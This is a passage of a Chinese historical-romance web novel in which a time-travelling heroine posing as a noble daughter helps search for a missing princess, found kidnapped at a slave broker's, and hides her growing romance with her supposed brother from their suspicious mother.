但谢珩雨天时主动弯下的腰、执笔间自然不经意的触碰、醉酒后的情难自已,桩桩件件都在提醒:这场戏,早就越了界。 更鼓声响打破了夜的静,将她的思绪拉回,她缓缓直起身子:“我该回府了。” 怀中人抽身而去,冷风残卷,谢珩空落落的,还想再去牵她的手,但远处的铁甲声入耳,他起身肃整衣袍,不舍地错开目光:“去吧,我稍候便回。” 他今日本就没有公务在身,不欲多做交代,同她拉开距离,看着目之尽头的她,在后跟随,护送她回府。 吹了半晌的风,但沈昭头脑仍蒙蒙的,还不由得她理清同谢珩之间的纠葛,便已然走到国公府门前,她拎着裙角悄声回了房。 谢珩在她入府之后,过了约莫半柱香的时辰,才进了府。 次日一早,院中洒扫的婢女们笑颜若花,小声议论着:“ 小姐可真是福星,自她回府后,老夫人的病情好了,我瞧着少爷心情更好,今晨少爷练剑的时候都在笑呢!” “是嘛!”她满怀好奇问道,“少爷到底是笑起来更好看,还是不笑好看啊,我还没怎么见过少爷笑呢,不对,我都没怎么在府里见过少爷,往日他忙于公务,连夫人都甚少见他吧。” “我瞧着少爷小姐的感情也极好,我若是少爷,整夜巡视都烦了,哪还有心思陪小姐外出游玩,何况长安城有何不同,没什么可逛的去处呀。” “咳咳。”王管家的声音在她们身后响起。 两个婢女回头,李立雯正站于她们身后,眼中无神,心里却反复琢磨她们两人的话。 自从瑾儿回府,国公府同往日大有不同,除了阿姑的身体,最大的变化莫过于珩儿。 珩儿和瑾儿。 她将这一对名字反复咂摸在唇边,心霎时慌了,耳边嗡得一声,抖着手扶在廊柱上,头上的金簪晃乱了青丝。 “夫人,您没事吧。”王管家虚抬着手,站在她身后。 李立雯摆摆手示意他们退下,婢女垂首随王管家离开,王管家摇着头,小声提点他们:“莫议论主子长短。” 李立雯稳了稳身形,轻扶头上的金簪,怎么可能,珩儿一向知礼有节,绝不会犯如此大错。 瑾儿性子活泛,两个人走得近了些罢了,何况当初还是她催着珩儿带她熟悉长安城的生活。 可怀疑的种子一旦播撒便会悄然滋长。 —— “小姐,府外有个丫头哭得厉害,吵着闹着要见你,赶也赶不走。”春宁急匆匆从外来报,她本想让家丁将其打发了,但那丫头看着年岁不大,哭得实在令人心疼,她犹豫再三,决定先让沈昭知晓。 “带我去看看。”沈昭跟着她匆匆出府。 还未踏出府门便听到一个女子的哭声,她被府内侍卫架在一旁,周围还围了一圈百姓,眼看围观之人越来越多。 春宁和夏安为沈昭拨开人群:“请让一让。” 眼前的丫头发髻都散乱了,坐在地上低头哭得厉害。 沈昭蹲下身子,上前拍拍她的肩:“姑娘,何事哭得这么伤心,你寻我?” 听到她的声音,那姑娘抬起头来,小脸哭得通红,眼都哭肿了:“谢小姐,求你救救我家公主吧。” 沈昭当即认出她是李玥身旁的婢女采薇,她忙扶采薇起身,将她带回房中:“快,随我去府里说。” 她们回房后,春宁去备好热水和帕子,夏安将四周的窗户紧闭,两人在外守着。 采薇哭得嗓子都哑了几分,她大喘着气,断断续续说道:“公公主昨夜溜出宫,至今未归,我跟着公里的车驾溜出来,可是我找不到公主了。” 沈昭听罢,耳边嗡嗡作响,手中递给她的杯盏险些撒了。 采薇继续说:“昨日,不知公主听闻陛下和娘娘说了什么,下午偷溜出宫,说去找高家公子,可是直到宫禁都还未归,公主让我们不要声张,我今早出宫,却在高府门前被拦住,他们不让我进府,我只得来寻谢小姐。” “走,你同我一起去高府找玥儿,”沈昭顾不得多想,安排马车带她们出府,当务之急需先找到李玥。 采薇抹了把泪,速速跟上。 两人出府时,车马已停在门前,她用手扶着车辕,一脚踩在马凳,因着走得急,脚下马凳不稳,她指节发力紧抓车木,仍身子失重,向侧方歪去。 斜里探出一只骨节分明的手,稳稳地托住她的腰肢,将她扶稳,而后那手又自然地收回,负于身后。 沈昭扭身看到谢珩,他恰在门前,见她如此慌张,险些摔倒,忙上前扶了一把:“你这是要去哪?” “公主走丢了。”沈昭俯身在他耳侧轻言,顾不得同他多解释,以最简洁直白的方式告知他。 他眉间轻折,不作多想,扶着沈昭上车,安排采薇回宫,若是公主回去了,令她可告知今日值守西重门的金吾卫,以便互通消息,他跳上马车随沈昭一同前往高家。 车夫快马加鞭赶往高府。 采薇吸吸鼻子,心里祈祷公主定会安然无恙,目光追随马车远去的方向。 在她身后的晋国公府匾额之下,李立雯搭在门边的手捏得骨节泛白,看着眼前的一幕,眼中全是震惊和痛心。 马车上,沈昭将采薇同她所讲的前因后果大概说了一番,她的两手不住揉搓,连衣裙都搓皱。 李玥不能有事。 许是受着她曾看过的故事影响,她甚至不敢去想若是她遇到歹人,这一夜她会经历何事,她年岁尚小,从小又未经历过任何挫折,她无法想象若是李玥出事,她该如何自处。 是她对不起李玥,若非她应下她的心愿,帮她遮掩隐瞒,接近高峻,她便不会冒险出宫,至今下落不明。 强烈的自责和愧疚萦于她的心间,她的身子不住地发颤。 谢珩将手搭在她手上,揽过她的肩,轻拍着安抚:“放心,公主不会有事。” 马车很快到了高府前,谢珩跳下马车,待回身去扶她时,她亦扶着车辕跳下,直入高府。 因着高峻同他们来往甚密,侍卫认出他俩:“谢公子、谢小姐。” 她们站于门前:“我们有急事要见高峻,还请代为通传。” 侍卫见他们来得匆忙,又知谢珩身份,不敢耽搁,应声入内,不多时,高峻打着哈欠,缓步被人请出,眼睛半眯:“哎哟,这么早,真是扰人清梦。” 他本以为谢家兄妹邀他同游,还准备收拾一番,被侍卫催得烦躁,顿时没了兴致。 谢珩直接扯着他的衣袖,将他拉至一旁,轻声问道:“昨夜你可见到公主了?” “公主,哪个公主啊。” 沈昭恨不得一把将他掐醒:“李玥。” 高峻伸伸懒腰:“没有没有。”他登时醒了几分,“什么,你们的意思长乐公主李玥走失了?” 但她走失与他何干,又不是他将公主拐骗出宫。 他常年流连于风月场,长安城的大小新鲜事无一不知,只是落到他自己身上却慢了半拍。 他缓了几息,深吸一口气,后知后觉:“九如,你可得一定要找到她啊。” 他可担不起如此大的罪过,何况他们不过坐过一次花船罢了,虽然他丰神俊逸,但公主要何好儿郎寻不到,他,他可承不了她的情。 谢珩不欲同他多费口舌,只道:“若你有任何关于公主的消息,遣人去左衙知会我一声,此事先莫张扬。” 高峻怔在原地,细思这前因后果,仍恍若梦中。 谢珩和沈昭转身上了马车,经他们商议,谢珩去左衙集结人手,沈昭回府等消息,一旦得到消息及时互通有无。 沈昭仍不放心,公主走失快一天了,此处既无监控又无人知晓她的行踪,就连谢珩的妹妹亦至今下落不明,她一股脑儿地想到所有最坏的可能:“若公主被拐骗到其他州郡,该怎么办?” 她思虑再三提道:“我觉得此事不该隐瞒皇上,何况这件事瞒也瞒不住,哪怕耽误一秒,都不知李玥会受到何种伤害。” 谢珩亦考虑过,若是全面封锁长安城,需要圣上下旨或出示宫内令牌,但他调集金吾卫便需耗费精力,可再临时进宫面圣,只怕又耽搁不少功夫,他将心中盘算一一说与沈昭。 沈昭:“你母亲是李玥的姑母,也是圣上的妹妹,若是由她进宫知会圣上,如此便不两相耽搁了。” 谢珩:“这确是当下最快进宫的法子。”但谢珩亦有他的犹豫,在他幼时的记忆中,母亲出阁后从未进过宫,世人皆论她可明哲保身,但在波云诡谲的宫廷中,若非亲身经历,他们并不知其中曲折。 沈昭看出他的犹豫,因着不知内情,只以为他怕李立雯迁怒于他们,开口说道:“上次李玥入府时,母亲对她颇为宠爱,如此要紧关头,母亲肯定以先找回她为重,你去寻人吧,府里有我。” 临下车前,谢珩安抚她:“公主定会无事,在长安,因欠债或犯罪可能沦为官奴或私奴,但这种奴仆的典卖属于正经行当,且需要签契,在官府备案,” 但自他升为金吾卫大将军后,捣毁了几个非法黑市,据他所知,长安城内暂无非法贩卖人口的行当,“我若有消息会第一时间传回府中,让你安心。” 既他如此说,沈昭便愿意信他:“好,那我去知会母亲一声,请她入宫。” “嗯。”谢珩先一步下车进了左衙,两人分头行动。 自他们走后,李立雯坐立不安,她闭上眼眸认真回想瑾儿失踪那年的模样,却愈发模糊。 眼前的谢怀瑾由珩儿带回,她彼时便信了几分,珩儿自小谨慎,她从未想过珩儿会联合外人去欺骗她,这究竟为何! 还是只是她的多心罢了,她一时拿不准主意,又无法同旁人诉说。 正在这时,婢女来禀:“夫人,小姐有急事寻您。” 李立雯绞着帕子的手紧了紧,靠在木椅上正了正身形:“请小姐进来。” 沈昭入内,吩咐婢女暂时退下后,直直跪在地上,垂首说道:“母亲,长乐公主自昨日出宫后走失,至今下落不明,音讯全无,还请母亲作主,速进宫禀告圣上,求皇上下令封锁长安*城,找回公主。” 李立雯拍案而起:“什么!” 第38章 “大哥,这能行么?” 站在一旁的王五解开麻袋,里面的女子似是完全昏过去了,脸上虽然沾了些灰,仍能看出是个粉雕玉琢的姑娘。 李三啐了一口:“这有什么行不行的,老赵家的闺女敬酒不吃吃罚酒,既然都签了契书,被卖入大户人家做丫鬟了,让我亲一口能少块肉?哭哭啼啼要死要活的,晦气。” 李三和王五是同乡,因家里发了水灾,跑到长安城务工,在官牙李曦手下办事,李曦是长安城的官牙,主要负责验证奴婢、妾婢的来历是否合法,并在官府登记备案,因着诚信且不会高价讹诈,在长安城颇有名气。 李三家贫一直没娶上媳妇,带人签完契书后,本约定明日进府,牛车上仅这一个姑娘,他一时起了歹念,本只求一亲芳泽,那姑娘又岂会受他无辜欺负,咬了他一口从车上滚下,摔到碧水湖里去,连人影都不见了。 他一时慌了,正巧见这小姑娘主动向他们问路,总归契书上没有画像,能抵一时便是一时,明天他得把人交了。 瞧这姑娘细皮嫩肉的,看得人心痒痒,但他有了一次教训,只得压下心中的火,威胁王五:“一会儿见了李爷,你就说这姑娘路上从牛车上摔下来,摔晕了,记住没。” 王五他们第一次出工就捅了这么大篓子,吓得魂儿都没了,他一边给李玥松绑一边说:“可她明日醒来,咱们不还是瞒不住。” 李三一脚把他踹到地上:“你就这点胆子,到时人都送进府了,与咱们何干,咱们就是个跑腿的,她爱咋闹咋闹,关咱们屁事,你给我把嘴闭严实了。” 王五捂着屁|股从地上爬起,不敢多言。 两人驾着牛车回去,恰逢李曦刚谈了生意回来,他这几日缺人手,临时雇了他们,但总归不是自己亲自带出来的,哪怕提前让他们知晓道上的规矩,又总放不下心,尤其是李三,看着本分老实,但那小眼滴溜溜转不停,心中小心思不断。 他们正扶着昏迷的李玥往里走,李曦抬眼扫过他们,出声打断:“慢着,这姑娘怎么了?” 李三知道指望不住王五,笑着说:“李爷,在车上没坐稳,从牛车上摔了一下,晕过去了。”一边递上签好的契书,“您瞧,已经和蔺府签了契了,明日给他们送去。” 李曦扫过纸上的字,问道:“你们入这行时,之前讲过的规矩还记得么。” 李三从后拧了王五一把,他哪有脑子记那些弯弯绕绕,听着像天书似的,王五忍着疼说:“记得记得,一不许威逼正经姑娘,二不能有任何隐瞒,三这三您瞅我这脑子,我记不清三了。” 李曦叹了口气:“罢了罢了。” —— 这方,谢珩派去各个城门探查的金吾卫回禀:“将军,从昨夜至今未发现有可疑车马出城。” 谢珩桌案上铺着长安城的舆图,他的视线从四个宫门一路滑到高府门前,较近的两条路上的金吾卫已赶回左衙回禀过,并无发现,只有最后两条路,一条经过碧水湖,一条穿过万寿坊。 未久,其他两队金吾卫回禀,仍没有任何收获。 他的视线最后锁定了城中一处,记起沈昭的担忧,并非没有道理,他随即带着一队人马出发。 李曦正在院中躺椅上,晒着太阳歇晌,李三殷勤地搬了个木凳,坐在他旁边扇风,只要能讨得李爷欢心,还愁他在长安城立不住脚么! 半敞的大门被金吾卫推开,唰——一声,寒光乍现,金吾卫分列两队,提刀速速包围了整个院落。 “哎,你们什么”瞧着铁甲官靴,李三的气焰顿时全消,他可不敢同官家作对,想起那个投湖的丫头,他后背霎时出了一层薄汗,退了一步,低头站在李曦身后,心里纳罕,不会这么快就查到他头上了吧。 李曦认出谢珩,躬身一礼:“谢大人大驾光临,有失远迎。” 谢珩:“不知近来生意可好?” “哟,谢大人,咱小本生意,哪有什么好不好一说,不知您带着这么多弟兄来此,有何贵干?” 谢珩开门见山:“我这儿走失了一个姑娘,圆脸凤眼,走失时穿着一件粉色的衣裙,头上梳着双髻,”他径自将佩剑置于桌上,惊得李三的腿霎时软了,“李曦,你一向以诚信为本,可是若是拐骗清白人家的姑娘,依律当处以绞刑。” 自宫门到高府,其中必经过李曦这个院子,虽然他上任后曾专门清洗过黑市非法人口交易,但沈昭的担忧却给了他提醒,灯下黑的道理他知道。 李曦脑子闪过刚才伏在李三肩上的姑娘,笑容僵在脸上,他瞥向李三,从牙缝里咬出几个字:“你们带回来的姑娘在哪,还不快请出来。” 李三似乎没料到李曦竟这么快便将他卖了,还想周旋一番,呆愣在原地:“李爷您说什么姑娘。” 李曦暗道这蠢货,哪怕他想保下他,他竟自绝生路。 金吾卫将刀架在他脖子上,李三双腿一软,跪在原地:“官爷,有话好说,我这就将那位姑娘请来。” “等等,我随你去。”金吾卫虽是他底下的人,但难免人多眼杂,若传出风声只怕有辱皇室清誉,谢珩拿起桌上佩剑,随李三进了内院。 李三眼神四下乱瞟,后门竟也被官兵围住,哪怕这姑娘并非他们所寻之人,他亦插翅难飞,他跪在门前,不住地磕头:“爷,是我一时动了歹念,但这姑娘分毫未伤,还请您看在李爷的面上,饶我一命吧。” 谢珩理也未理,抬脚将门踹开,一眼看到被扔在角落仍昏迷不醒的李玥,他命人取来幂篱又遣人去将沈昭带来。 沈昭来时,李三和王五跪在地上,将路遇李玥的事全盘托出,王五不知他们是为寻这姑娘而来,还以为是先前投湖的女子被人发现了,倒豆子似地将所有事全说了。 李曦在旁越听脸色愈发苍白,自己汲汲营营的一切算是搭在这俩蠢货身上了,气得连话都说不出。 谢珩将三人收押,送往县衙,同时去碧水湖寻落水女子的踪迹,李三奸|□□子在先,拐骗女子在后,死罪难逃,王五有从犯之嫌,李曦虽不知情但治下不严,收回朝廷下发的牙帖,最后案子如何决断自有县令审理。 等沈昭来的功夫,李玥已悠悠转醒,她掀起幂篱,皱眉看着四周,认出站在门外的谢珩,刚要起身头却重如冷铁,又堪堪跌下去。 谢珩听到屋内的动静,疾步上前,却并未扶她,蹲下身子低声道:“公主,你可有哪里不舒服?怀瑾正在来的路上。” 李玥摇摇头,仔细回想她出宫这一路的曲折,记起她父皇母妃的话,一股酸涩涌上心头,哽咽道:“是我任性,害你们担心了,我无妨,我只是想出宫随便走走罢了。” 知女儿家的心思不便对旁人言说,他亦不多问,默然守在一旁。 沈昭坐着国公府的马车匆匆赶来,李玥见到她,扑在她怀中,心里顿时更委屈了。 两人坐着马车一路向宫门驶去,谢珩驾马在旁随行。 先前沈昭将公主走失一事告诉李立雯,本欲请她入宫告知圣上,但李立雯犹豫再三终是没有入宫,只书信一封托杨方拿着她的玉牌传信。 好在李玥被及时寻回,信还未传到内廷,送到天子手中,李玥遣采薇及时将信拦下,希望能掩一时是一时。 她将父皇母妃的安排细细说给沈昭听,沈昭在一旁静心聆听,但仍不免感慨,在这里,哪怕像李玥如此身份的人都没有选择自己意中人的自由,也罢,他们的身份一向是权利、是交易,成婚一事于她们而言自当慎之又慎。 李玥哭了一路,折腾了一天,回宫之后便累得睡着了,沈昭并未在宫里久留,同谢珩坐着马车出了宫。 回府的路上,她细想着李玥的哭诉,无论在长安亦或者九州,成婚之事都是一人生命中最重要的转折,哪怕位高至一国公主,也半点不由人,那谢珩呢? 在长安,三妻四妾仍是常态,谢珩哪怕有心念着她,但以他的性子,知书识礼,尊卑有序,他又岂会因此去顶撞他的母亲和祖母。 她不由得攥紧他的衣袖,倚在他的肩头,连往后二字都不敢细想,只怕这片刻温存,到底是镜花水月一场。 谢珩觉察到她的不安,以为她忧心公主,反握住她的手,轻抚着她的额头:“长安现无战事,虽有北方的孑于族蠢蠢欲动,但不至于走到让公主联姻这步,公众备受宠爱,圣上不会不考虑她的意思,她和高峻的事,并不急于一时,仍有回旋的余地, 至于我,我本就不图在仕途上有所成,只愿长安无战事,百姓安居所,若你不喜这里,我可陪你回九州。” 沈昭哑然失笑,眸中泛起湿意,九州她都不知自己如何穿越至此,何况她的故乡早已面目全非,她们注定只能留在此处了。 但听闻他的话,她只觉心口似煨了一炉炭,融融暖意顺着血脉游走。 他轻轻在她额上留下一吻,又贪恋这份柔软,吻过她的鼻尖、脸颊,落在她的唇上,细细吮咬,欲加深这个吻。 她慌忙从他怀中挣出,将他推开:“快到家了。”唇上犹带温软触感,却听得他低笑一声,复又追上衔住她的唇瓣,清浅兰息交缠间,他恋恋碾过她唇角,直到她急得攥拳捶他肩头,方才松开,却仍以指腹摩挲她绯红面颊,不舍分开。 马车缓缓停下,沈昭推开他,缓步踩着马凳下车,脸上的红却消散不去。 谢珩待她的脚步声消失于耳畔时,才撩袍起身,唇边的弧度弯过天上皎洁的月。 “夫人。”路过的婢女福身一礼,李立雯闪了闪身,错过谢珩的视线,心中不快道:“噤声。” 但看着两人的背影,她的眉头却越皱越紧。 第39章 “夫人,这是上次宴席上宾客礼单,以及回之的答谢礼,还请您过目。”王管家呈上两份礼单,却迟迟不见李立雯抬头。 他等了半晌,试探道:“夫人?” 李立雯眨了眨眼,恢复神色,揉着眉心接过礼单,但上面的字却看不进她心里:“你做事妥帖,就依这份礼单送吧。” “是,夫人。”王管家应下,但李立雯却始终手握着礼单,没有交与他,他在一旁候着,待她回神后,才双手接下,心中百思不得其解,老夫人身体康健,小姐归府,桩桩件件都是喜事。 但夫人近几日心神不宁,何事令她忧愁至此。 刚踏出门槛,李立雯喊住他:“上次我记得高家公子送了份簪子,你在给他的回礼上多备下几身素雅的锦缎,再去书市看看,附上几本关于农学的书,”她斟酌之后,吩咐道,“去把小姐请来。” “是。”王管家退下,着人去请小姐。 沈昭得信后,并未多想,随着前来通传的婢女往前厅去。 待她入内后,李立雯邀她入座,拿出之前曾给她看过的画册:“瑾儿,这些时日你对你兄长的性情也大概有所了解,你觉得以他的性子,同长安城里哪户小姐更适合呢?” 初时,李立雯只念着姑娘家之间好说话易亲近,想她多结交些朋友,有脾性相投者,可说与他兄长,但这次李立雯却意味试探,若是他们二人彼此有意,她断然不会同意。 但沈昭本就以骗术蒙混入府,又岂会轻易被她看出她心中波澜。 她径自接过画册,美之主观,哪能论出个长短高下之分,各花入各眼,每个女子都各有其艳。 但她仍细细打量,笑着说道:“这李家小姐性格温婉,容貌比三月桃夭还娇,和兄长是绝配;蔺家小姐清尘脱俗,如空谷幽兰,我瞧着也极好;王家小姐自不必说,琴棋书画样样精通,只怕兄长还配不上人家呢,要我说若是这些小姐有意,不妨都娶进门吧,这么多嫂嫂家里也热闹。” 她一口气将长安城年岁相当的女子夸了个遍,恨不得全将她们娶进国公府,气得李立雯一时无言,这些女子哪个不是家中明珠,若是真依她所言,正妻只有一位,又谁会忍心将自己的宝贝给谢珩当个妾室呢,哪怕抬为平妻也会闹得各不愉快。 李立雯直接从她手中抢过画册,再无心问她意见,太阳穴突突地跳:“罢了,那你看高家二郎如何,他有意于你,高相对你亦颇为满意,这门亲事甚好。” 提起高义信,沈昭犹记得那夜漫天烟花绽放,他小心翼翼地拿出家传玉佩,朝她深深一揖,同她诉说情意:“谢姑娘,自初见你那日,我便一见倾慕,若姑娘不弃,我愿与姑娘缔结秦晋之好,择日登门下聘。”他声音渐轻,甚至不敢抬头望她。 少年一腔热忱心意,但她终究得负了,她回之一礼:“高公子厚爱,我愧不敢当,我将你同你兄长二人视作知己,我刚回府,还得侍奉祖母,公子姿貌俊朗,家世煊赫又满腹经纶,自有更适合你的女子。” 高义信并未料到她会拒绝,忍不住问道:“姑娘若对我无意,那帕子” 沈昭此刻恍然,不过从集市买橘相赠的帕子,她当时只为图个方便,送他擦手,岂料引起这么大的误会:“我自幼生于山野,同男子接触亦不多,并不知赠帕有何深意,引得公子误会,是我的不对,同样的帕子我还送过我兄长一方。” 高义信身形微晃,却仍强撑着笑意,不失礼节:“是我唐突了” 他的修养犹在,他们今后仍可继续做朋友,他将沈昭所托茶树一事牢牢记挂在心中,转身回了府。 沈昭思绪回拢,无奈这催婚又催到她头上了,直言道:“高家公子自然好,他兄长亦好,我瞧着长安城其他士族公子亦是器宇不凡,不若母亲也给我份画册,我好生相看相看。” “你、你这孩子,”她被气得心口滞闷,捂着胸口依着木椅,全然忘了当初寻她作何,且不论高家二郎对她有意,她一个未出阁的女儿家竟说出如此不成体统的话,她怒道,“你给我退下。” 沈昭怕笑出声,急忙躬身一礼:“那怀瑾告退,母亲注意身子。” 刚转过廊角,她转瞬便压不住唇边的笑意,踏着轻快地步子走远了。 她哪有那么多心思去深究李立雯话里的机锋,何况她身体康健,该不会被她三言两语,轻易气倒。 她现在的心思全在李玥身上,自李玥走失到她回宫,不过两日,谢珩寻人时,保护妥当,并无人知晓她是公主,由李立雯递进宫的信虽然未送到景明帝眼前,可宫内仍传出一些风言风语,消息渐渐散播到市井坊间。 李玥本就面子薄,若不是求着她,哪怕同高峻同行的勇气都没有,因着自己一次任性竟闹到这个地步。 内廷的情形如何自是传不到外臣那儿,但据谢珩观察,今日景明帝上朝时,面如寒霜,因着一个官员的朝服不洁都勃然大怒。 沈昭心里记挂她,她虽无职务和诰命在身,不得轻易入宫,但有谢珩陪同入宫,加之上次采薇留给她的手牌,她踏上了进宫的官道。 两人一路行至宣政门,外臣止步于此,谢珩将沈昭送到这:“你一直向北走,路遇花园时转东,经过三个宫殿后,下一个便是公主寝殿兰香殿所在,我在此等你。” 沈昭握紧玉牌:“好,我去去就来。” 她扮作宫女打扮,依着谢珩所指,往兰香殿走去,遇到成行结队的宫婢们就跟在其后,随着她们叩拜、让行,不多时终于见到兰香殿的匾额。 大殿之外,三三两两的太监宫婢们各自洒扫,并未留意她。 她垂首直直向寝殿大门走去,正巧碰到刚从内走出的采薇。 采薇先是一惊,忙把她拉至屋内,打眼瞧着并无旁人注意,将门带上:“谢小姐,您是入宫来看我家公主的么?” “玥儿她如何了?”沈昭随她闪身入内,将玉牌交还于她。 采薇摇摇头:“陛下今晨下朝后特地来了一趟,发了好大的火,连娘娘都劝不住,公主说她不想见任何人,说若是圣上逼她去尚主宴选驸马,她就一头跳进湖里,绝了他们的念头。” 公主六岁时,采薇便入宫陪伴在侧,公主一向乖巧顺意,莫说顶撞圣上,就连一句重话都没说过,她心中既佩服公主的勇敢,但又替她担忧。 言语间,采薇撩起五色锦帐,请她入内,自己却止步:“谢小姐,劳烦您好好劝劝公主。” 沈昭点头应下。 屋内传来李玥轻声呜咽,她趴在床上,身子哭得一颤一颤,听到她的脚步声,哑着嗓子喊:“都出去,我谁也不见。” 沈昭从桌上倒了一杯水,缓步走向她:“哭得累了,不妨喝口水润润喉,才有力气再哭呀。” 听到她的声音,采薇霎时抬起身子,眼睛肿若核桃,努着小嘴:“瑾姐姐。” 沈昭坐在床榻边上,轻轻缕着她的后脊,帮她顺气,将杯盏送到她唇边:“先喝点水吧。” 她将唇凑到杯沿,浅浅抿了几口,眼泪吧嗒吧嗒砸到杯里:“瑾姐姐,我不想嫁给高峻了!” 沈昭将茶杯放到一旁案几上,又拿出帕子轻擦她脸上的泪:“为何又突然改变心意了?” “我偷溜出宫的事被父皇母妃知道,他们训斥我罔顾体统、不注重名节,如今我清誉有损,自是不能连累他。” 沈昭心疼地将她抱入怀中,这傻姑娘,明明自己置身于水火之中,竟心心念念还在想着怕连累他人,想成全高峻的颜面。 她柔声安抚道:“你只是迷路罢了,身上甚至连外伤都不曾有,岂会牵扯到名节一说。” 她忽地意识到在此处,名节清誉对于女儿家之重要非她所能想,公主秘密出宫两日未归,旁人不管其中发生何事,只会挑着最引人遐想,最不堪的那面去想。 相较于旁人的目光,李玥倒更在乎高峻如何看她,可她拿不准高峻会如何,强忍着满腹委屈,默不作声。 沈昭问她:“那若你有的选,你还愿意嫁给高峻吗?” 她点点头:“自是愿意,但但我怕他听信了这些传言,我不知他会如何看我,我更不想给高府蒙羞。” 公主金枝玉叶,若是圣上下旨赐婚,高家断没有拒绝的道理,亦不敢拒绝,可事到如今,李玥不想勉强他。 沈昭拍拍她的肩:“给高府蒙羞的不是你,是那些擅自揣测之人,此事哪怕不发生在你身上,他们口中也会传出其他污言秽语,若你对他还有意,我让我谢珩去探探他的态度,如何?” 李玥乖巧地点点头,情绪好了许多。 沈昭又多陪着她说了会,看她服下一碗燕窝粥后才放心离开。 其实她心中没底,高峻对李玥的态度本就暧昧不明,大体只把她当自家妹妹,虽然旁人看在眼中,但只怕当局者迷。 眼下又发生了这样的事,虽错不在李玥,但终究言语威逼却比真正的刀要锋利,杀人不见血。 她心事重重地从内廷走出,谢珩远远望着她的身影,视线从未离开,待她走近时,他上前将她扶住:“如何?公主没事吧。” 沈昭适才回神:“公主吃了些东西,有所好转,只是她怕连累高家声誉,不想嫁给高峻了,但又不想屈就于旁人,其实她心里有高峻,但拿不准他的态度,经此一事,你觉得高峻会如何看她?” 谢珩默然不做声,他与高峻虽自幼相识,但到底是截然不同的两种脾性,他亦从未听闻高峻对哪家姑娘上心,他只道:“我拿不准他的主意。” 两人一同往宫外走,沈昭说道:“那你去旁敲侧击问问他的态度可好?”她想起公主泪水连连,还怕有损高峻清誉的模样,心都碎了,气鼓鼓说,“我若是公主,定让圣上下旨赐婚高峻,何须问过他的意见,我偏要勉强。” 她杏眼里跃动着两簇小火苗,原本瓷白的脸上泛着淡粉色,生气时鼻翼微微翕动,头上的簪子随她说话轻轻摇晃,活像一只炸毛的猫儿。 谢珩心突然软了,抬手自然地搭上她的肩:“好,我好好劝劝他,可好?若他们两人情投意合,自是无人能阻得了。” 沈昭念着世家公子有通房丫鬟婢女一水的美人儿伺候着,李玥不过自己偷溜出宫,毫发未伤,却被有心之人捕风捉影,还牵扯到清誉名节,气不打一处:“你们自小有通房陪侍,为何对公主要求诸多呢,公主还未嫌弃他呢!” 谢珩见她真的有些恼了,忙说道:“我可没有,高峻是高峻,我是我,我房里连个丫鬟都没有,你可千万别同我置气,我心中只你一人,高峻辜负了公主的一番心意,属实该骂。” 她默然地快走几步,显然还在气头上。 谢珩疾步跟上,非但不恼,反倒觉得有趣,忍不住想伸手抚平她蹙着的眉。 何况她言语之间似有几分道理,若是两相比较,何至于女子守节,男子便可三妻四妾,但顾不得多想,低笑着跟上她的步伐。 华灯初上,整个长安城亮起繁星点点。 高峻平日本就闲不住,走街串巷,关于李玥的流言自然落入他耳中。 “你听说了么,也不知哪个兄弟白捡了这么个大便宜!” “什么好事,我怎么不知道。” “就公主前几日走失了,据说找到的时候衣衫不整,这几日在宫里寻死觅活的,这细皮嫩肉的公主要是让我尝尝鲜就好了,我保证让她□□。” 高峻同谢珩在酒楼约见,楼下的污言秽语不堪入耳,几个醉汉围坐在一桌,嘴里不干不净地议论着宫中的事。 话音未落,高峻手里的青瓷酒壶被他凌空砸下,直直冲着楼下醉汉头上而去。 “砰”地一声正中那人脑门,酒液顺着鲜血顺着他的脸淌下来,惊起四座尖叫。 “哪个不长眼的王八羔子,没看见你爷爷在这呢。”醉汉捂着额头抬头大骂。 高峻站在二楼栏杆旁,指节捏得咔咔作响,眼底寒芒如刀,他缓缓开口却字字淬冰:“看清楚,是你爷爷我!” 那醉汉捂着额头,酒登时醒了大半,仍嘴硬道:“哪来的狗东——” 话未说完,高峻纵身从二楼跃下,一脚踹翻酒桌,碗碟稀里哗啦碎了一地,他揪着那人的衣领,一拳砸在他脸上,骨节撞击皮肉的闷响听得人牙酸。 “把你嘴巴放干净点!” 又是一拳,那人脸上血肉模糊,哀嚎着求饶,同他喝酒的人刚上前去拦,却被高峻的一个眼神钉在原地——眼神狠戾如狼,仿佛下一瞬就要拧断他们脖子。 “滚。” 几个人连滚带爬跑了,只剩地上那个烂醉如泥,血染了一地。高峻甩了甩手上的血渍,转身欲走,却对上谢珩清亮的眸子。 他站在酒楼门口,不知看了多久。 高峻心头一跳,方才的暴戾瞬间凝固,竟有些无措,随手冲着店小二扔下一锭银子。 “高兄,我们的饭还没吃呢!”谢珩在他身后喊住他。 “知道,我去寻个水盆净手,脏。”高峻提步往后院走去,店小二吓得大气不敢喘,忙退至一旁为他让出路。 待他洗净回来后,大步跨坐在一旁,举起小二新奉上的酒壶,仰头往口中浇:“尚书省那帮老头,整日闲的之乎者也,拿君俸禄,不替君分忧,要我说,就得重修律法了,如此登徒浪子,毁人清誉,难道就置之不理,由着他们胡言,那三人成虎” 对上谢珩带有深意的眼神,他的话僵在嘴边:“你盯着我作甚,本公子虽俊俏倒,你倒不必如此。” 自小到大,他还从未见过高峻如此生气,往日他总是愿做和事佬,有他在的地方,少有争执和冲突,哪怕有不和,亦总会被他几句话化解,他为人又没什么架子,因着人人都爱同他结交。 但那几个醉汉确实该打。 谢珩将他手中举着的酒壶放到一旁,开门见山问他:"你既知晓公主被人污蔑,此时处境艰难,若是圣上下旨赐婚,你可会答应?" 高峻猛地站起,想都未想开口说道:“不行。” 第40章 谢珩挑眉看他,刚刚还正义凛然怒打醉汉,此刻他又拒得如此决绝,倒教人猜不透他的心思了。 似是被高峻厉声吓到,隔壁雅间中传来的声音骤然静默几息。 高峻缓缓坐下,又斟了一杯酒,一饮而尽:“我自是知道公主无碍,但你看眼下长安城中传得风言风语,但只有你我知道无用啊,若是真将她娶进门,我父亲也不会同意的。” 高相辅佐两位帝王,朝堂之争,他自是看得透彻,更不会任意而为,不顾君臣之礼。 谢珩说:“若是圣上下旨,高相定然不会拒绝。” 高峻见毫无退路,出声喊道:“谢珩!你还是不是我朋友,怎的替旁人说话,虽然公主同你于血缘姻亲上近一些,但到底我们才是一同长大的兄弟,你说,她给了你多少好处,你不能眼见兄弟往火坑里跳。” 眼下他又恢复到往日肆意妄为的态度,同刚刚那个大打出手的血性男子判若两人。 谢珩虽瞧不分明他究竟作何感想,但沈昭置气时说的话却让他不由得细思:“高兄,易地而处,若是今日换作你是公主,满城风雨,纷纷扬扬,你觉得她会因此放弃你么,哪怕她不知其中曲折?” 